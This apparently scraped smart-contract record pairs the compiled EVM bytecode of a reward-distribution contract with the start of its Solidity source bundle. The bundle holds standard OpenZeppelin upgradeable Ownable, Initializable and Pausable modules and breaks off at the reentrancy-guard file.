1b8152600401610dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613aad919061487d565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015613f895760c9546001600160a01b0390811690851603613ccc5760005b60d854811015613cc657600060d88281548110613b4757613b47615047565b906000526020600020906002020190508060010160169054906101000a900460ff1615613cb357805460009061271090613b8190876152e5565b613b8b9190615312565b9050613b97818561513b565b60018301549094508190600160a01b900460ff16613c77576001830154600160a81b900460ff16613c5b576001830154613bde906001600160a01b038a8116911683612baf565b60018301546040516347e7a41160e11b81526001600160a01b0390911690638fcf482290613c129084908c90600401615433565b6020604051808303816000875af1158015613c31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c559190615416565b50613c77565b6001830154613c77906001600160a01b038a81169116836132ff565b600183015460405160008051602061555f83398151915291613ca8918c916001600160a01b0316908c90869061544a565b60405180910390a150505b5080613cbe8161514e565b915050613b28565b50613ecb565b600060d954118015613ce8575060de546001600160a01b031615155b15613ecb5760de5460405163d42ac64360e01b81526000916001600160a01b03169063d42ac64390613d1e90899060040161487d565b602060405180830381865afa158015613d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d5f9190614e2b565b60de546040516315895f4760e31b8152600481018390529192506001600160a01b03169063ac4afa3890602401606060405180830381865afa158015613da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613dcd9190615474565b6020015115613ec957600061271060d95485613de991906152e5565b613df39190615312565b9050613dff818461513b565b60de54909350613e1c906001600160a01b03888116911683612baf565b60de546040516317be9a5d60e31b815260016004820152602481018490526001600160a01b038881166044830152606482018490529091169063bdf4d2e890608401600060405180830381600087803b158015613e7857600080fd5b505af1158015613e8c573d6000803e3d6000fd5b505060de5460405160008051602061555f8339815191529350613ebf92508a916001600160a01b0316908a90869061544a565b60405180910390a1505b505b613ee06001600160a01b038516846000612baf565b613ef46001600160a01b0385168483612baf565b6040516347e7a41160e11b81526001600160a01b03841690638fcf482290613f229084908890600401615433565b6020604051808303816000875af1158015613f41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f659190615416565b5060008051602061555f833981519152858486846040516116bf949392919061544a565b5050505050565b60008082156120aa57613fa2836143a9565b905060005b60d85481101561402657600060d88281548110613fc657613fc6615047565b906000526020600020906002020190508060010160169054906101000a900460ff168015613fff57506001810154600160a01b900460ff165b156140135780546140109085615073565b93505b508061401e8161514e565b915050613fa7565b5060005b60d85481101561335657600060d8828154811061404957614049615047565b906000526020600020906002020190508060010160169054906101000a900460ff16801561408257506001810154600160a01b900460ff165b1561419a57600061271085612710846000015461409f91906152e5565b6140a99190615312565b6140b390866152e5565b6140bd9190615312565b90508015614198576001820154600160a81b900460ff1661417957600182015460cc546140f7916001600160a01b03918216911683612baf565b600182015460cc546040516347e7a41160e11b81526001600160a01b0392831692638fcf48229261413092869290911690600401615433565b6020604051808303816000875af115801561414f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141739190615416565b50614198565b600182015460cc54614198916001600160a01b039182169116836132ff565b505b50806141a58161514e565b91505061402a565b600062093a806141bd81846154de565b610d259190615504565b6141cf612d8a565b6097805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258613aa03390565b6000614259826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166146579092919063ffffffff16565b8051909150156120aa57808060200190518101906142779190615416565b6120aa5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610dab565b600054610100900460ff166142fd5760405162461bcd60e51b8152600401610dab90615397565b611af733613ab7565b600054610100900460ff166118365760405162461bcd60e51b8152600401610dab90615397565b600054610100900460ff166143545760405162461bcd60e51b8152600401610dab90615397565b6097805460ff19169055565b60975460ff16611af75760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610dab565b60cc546040516370a0823160e01b815260009182916001600160a01b03909116906370a08231906143de90309060040161487d565b602060405180830381865afa1580156143fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061441f9190614e2b565b60df549091506001600160a01b0316156145495760df5460c954614450916001600160a01b03918216911685612baf565b60df54604051634e3c485160e11b815260048101859052600060248201526001600160a01b0390911690639c7890a2906044016020604051808303816000875af11580156144a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144c69190614e2b565b5060cc546040516370a0823160e01b815282916001600160a01b0316906370a08231906144f790309060040161487d565b602060405180830381865afa158015614514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145389190614e2b565b614542919061513b565b9150614651565b60cb5460c954614566916001600160a01b03918216911685612baf565b60cb54604051633188639160e11b815230600482015260248101859052600060448201526001600160a01b0390911690636310c72290606401600060405180830381600087803b1580156145b957600080fd5b505af11580156145cd573d6000803e3d6000fd5b505060cc546040516370a0823160e01b81528493506001600160a01b0390911691506370a082319061460390309060040161487d565b602060405180830381865afa158015614620573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146449190614e2b565b61464e919061513b565b91505b50919050565b6060614666848460008561466e565b949350505050565b6060824710156146cf5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610dab565b6001600160a01b0385163b6147265760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610dab565b600080866001600160a01b03168587604051614742919061552f565b60006040518083038185875af1925050503d806000811461477f576040519150601f19603f3d011682016040523d82523d6000602084013e614784565b606091505b509150915061479482828661479f565b979650505050505050565b606083156147ae575081612441565b8251156147be5782518084602001fd5b8160405162461bcd60e51b8152600401610dab919061554b565b60008083601f8401126147ea57600080fd5b5081356001600160401b0381111561480157600080fd5b6020830191508360208260051b850101111561481c57600080fd5b9250929050565b6000806020838503121561483657600080fd5b82356001600160401b0381111561484c57600080fd5b614858858286016147d8565b90969095509350505050565b60006020828403121561487657600080fd5b5035919050565b6001600160a01b0391909116815260200190565b6001600160a01b03811681146128e757600080fd5b60008060008060008060c087890312156148bf57600080fd5b86356148ca81614891565b955060208701356148da81614891565b945060408701356148ea81614891565b935060608701356148fa81614891565b9250608087013561490a81614891565b915060a087013561491a81614891565b809150509295509295509295565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561496657614966614928565b604052919050565b600082601f83011261497f57600080fd5b81356001600160401b0381111561499857614998614928565b6149ab601f8201601f191660200161493e565b8181528460208386010111156149c057600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080608085870312156149f357600080fd5b84356149fe81614891565b93506020850135925060408501356001600160401b0380821115614a2157600080fd5b614a2d8883890161496e565b93506060870135915080821115614a4357600080fd5b50614a508782880161496e565b91505092959194509250565b600060208284031215614a6e57600080fd5b813561244181614891565b600080600060608486031215614a8e57600080fd5b8335614a9981614891565b92506020840135614aa981614891565b929592945050506040919091013590565b60008060008060808587031215614ad057600080fd5b8435614adb81614891565b93506020850135614aeb81614891565b92506040850135614afb81614891565b9396929550929360600135925050565b60008060408385031215614b1e57600080fd5b8235614b2981614891565b91506020830135614b3981614891565b809150509250929050565b600080600080600060a08688031215614b5c57600080fd5b8535614b6781614891565b94506020860135935060408601359250606086013591506080860135614b8c81614891565b809150509295509295909350565b60008060008060408587031215614bb057600080fd5b84356001600160401b0380821115614bc757600080fd5b614bd3888389016147d8565b90965094506020870135915080821115614bec57600080fd5b50614bf9878288016147d8565b95989497509550505050565b60006001600160401b03821115614c1e57614c1e614928565b5060051b60200190565b60008060408385031215614c3b57600080fd5b8235614c4681614891565b91506020838101356001600160401b03811115614c6257600080fd5b8401601f81018613614c7357600080fd5b8035614c86614c8182614c05565b61493e565b81815260059190911b82018301908381019088831115614ca557600080fd5b928401925b82841015614cc357833582529284019290840190614caa565b80955050505050509250929050565b80151581146128e757600080fd5b60008060008060008060c08789031215614cf957600080fd5b86359550602087013594506040870135614d1281614891565b93506060870135614d2281614cd2565b92506080870135614d3281614cd2565b915060a087013561491a81614cd2565b600080600060408486031215614d5757600080fd5b8335925060208401356001600160401b03811115614d7457600080fd5b614d80868287016147d8565b9497909650939450505050565b60008060008060808587031215614da357600080fd5b843593506020850135614db581614891565b92506040850135614dc581614cd2565b91506060850135614dd581614cd2565b939692955090935050565b600080600060408486031215614df557600080fd5b83356001600160401b03811115614e0b57600080fd5b614e17868287016147d8565b909790965060209590950135949350505050565b600060208284031215614e3d57600080fd5b5051919050565b6001600160801b03858116825284166020820152606060408201819052810182905260006001600160fb1b03831115614e7c57600080fd5b8260051b808560808501379190910160800195945050505050565b600060208284031215614ea957600080fd5b81516001600160801b038116811461244157600080fd5b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60005b83811015614f29578181015183820152602001614f11565b50506000910152565b60008151808452614f4a816020860160208601614f0e565b601f01601f19169290920160200192915050565b6001600160a01b03858116825284166020820152608060408201819052600090614f8a90830185614f32565b82810360608401526147948185614f32565b600060208284031215614fae57600080fd5b815161244181614891565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152901515604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6001600160a01b03929092168252602082015260400190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610d2557610d2561505d565b8183526000602080850194508260005b858110156150c45781356150a981614891565b6001600160a01b031687529582019590820190600101615096565b509495945050505050565b6040815260006150e3604083018688615086565b828103602084810191909152848252859181016000805b8781101561512c5784356001600160401b038116808214615119578384fd5b84525093830193918301916001016150fa565b50909998505050505050505050565b81810381811115610d2557610d2561505d565b6000600182016151605761516061505d565b5060010190565b634e487b7160e01b600052603160045260246000fd5b6000602080838503121561519057600080fd5b82516001600160401b038111156151a657600080fd5b8301601f810185136151b757600080fd5b80516151c5614c8182614c05565b81815260059190911b820183019083810190878311156151e457600080fd5b928401925b828410156147945783516151fc81614891565b825292840192908401906151e9565b6001600160a01b03841681526040602082018190526000906152309083018486615086565b95945050505050565b600082601f83011261524a57600080fd5b8151602061525a614c8183614c05565b82815260059290921b8401810191818101908684111561527957600080fd5b8286015b84811015615294578051835291830191830161527d565b509695505050505050565b600080604083850312156152b257600080fd5b8251915060208301516001600160401b038111156152cf57600080fd5b6152db85828601615239565b9150509250929050565b8082028115828204841417610d2557610d2561505d565b634e487b7160e01b600052601260045260246000fd5b600082615321576153216152fc565b500490565b8781526000602060c08184015261534160c08401898b615086565b838103604085015287518082528289019183019060005b8181101561537457835183529284019291840191600101615358565b50506060850197909752505050608081019290925260a090910152949350505050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b6000602082840312156153f457600080fd5b81516001600160401b0381111561540a57600080fd5b61466684828501615239565b60006020828403121561542857600080fd5b815161244181614cd2565b9182526001600160a01b0316602082015260400190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b60006060828403121561548657600080fd5b604051606081018181106001600160401b03821117156154a8576154a8614928565b60405282516154b681614891565b815260208301516154c681614cd2565b60208201526040928301519281019290925250919050565b60006001600160801b03838116806154f8576154f86152fc565b92169190910492915050565b6001600160801b038181168382160280821691908281146155275761552761505d565b505092915050565b60008251615541818460208701614f0e565b9190910192915050565b6020815260006124416020830184614f3256fe1d323f65a8226244cebc68e250fb7eef6eb01d6adf48b72e75a032af0716eb00a26469706673582212208f39581346ffa96f4ea781b758c2158add351ceebcd1c6915bf65a395debff2f64736f6c63430008130033 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts. Equivalent to `reinitializer(1)`.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * `initializer` is equivalent to `reinitializer(1)`, so a reinitializer may be used after the original\n * initialization step. This is essential to configure modules that are added through upgrades and that require\n * initialization.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized < type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n /**\n * @dev Emitted when the pause is triggered by `account`.\n */\n event Paused(address account);\n\n /**\n * @dev Emitted when the pause is lifted by `account`.\n */\n event Unpaused(address account);\n\n bool private _paused;\n\n /**\n * @dev Initializes the contract in unpaused state.\n */\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n _paused = false;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is not paused.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n modifier whenNotPaused() {\n _requireNotPaused();\n _;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is paused.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n modifier whenPaused() {\n _requirePaused();\n _;\n }\n\n /**\n * @dev Returns true if the contract is paused, and false otherwise.\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Throws if the contract is paused.\n */\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n /**\n * @dev Throws if the contract is not paused.\n */\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n /**\n * @dev Triggers stopped state.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n /**\n * @dev Returns to normal state.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol": {
